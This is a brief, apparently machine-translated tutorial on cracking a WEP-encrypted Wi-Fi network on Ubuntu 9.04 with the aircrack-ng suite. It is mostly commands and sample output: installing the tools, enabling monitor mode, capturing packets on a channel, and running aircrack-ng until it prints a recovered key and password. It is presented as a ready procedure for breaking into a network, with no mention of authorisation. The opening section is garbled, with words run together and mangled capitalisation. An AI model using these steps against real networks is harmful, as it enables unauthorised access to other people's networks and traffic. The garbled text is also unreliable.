Ubuntu9.04 wireless cracking

1. The environment Ubuntu9.04Linuxboisheng-laptop2.6.28-11-generic # Protocol: 57: 59UTC2009i686GNU/Linux2. install the software sudoapt-getinstallaircrack-ng. If not, wgethttp: // response

1. Environment Ubuntu 9.04
Linux boisheng-laptop 2.6.28-11-generic # 42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux

2. Install the cracking software
Sudo apt-get install aircrack-ng
If not:
Wget http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz
Tar-zxvf aircrack-ng-1.0-rc3.tar.gz
Cd aircrack-ng-1.0-rc3
Make
Make install

3. Start to crack WEP Encryption Method -- ifconfig display wireless Nic ID
Eth1 Link encap: Ethernet hardware address 00: 16: XX

4. enable monitoring mode-airmon to view specific parameters
Sudo airmon-ng start eth1

5. capture data packets-6-channel data packets. airodump-ng view parameters
Sudo airodump-ng-w name eth1-c 6
6. Start to crack aircrack-ng to view the parameters.
Sudo aircrack-ng *. cap
The following information is displayed:
# Bssid essid Encryption
1 00: 23: xx tp *********** WEP (11837 IVs)
2 00: 21: XX dl ***** Unknown
3 00: 18: xx n ***** Unknown
Index number of target network? 1
Select 1 -- start cracking
Key found! [11: 11: 22: 22: 33]
Decrypted correctly: 100%

7. The password is 1111222233.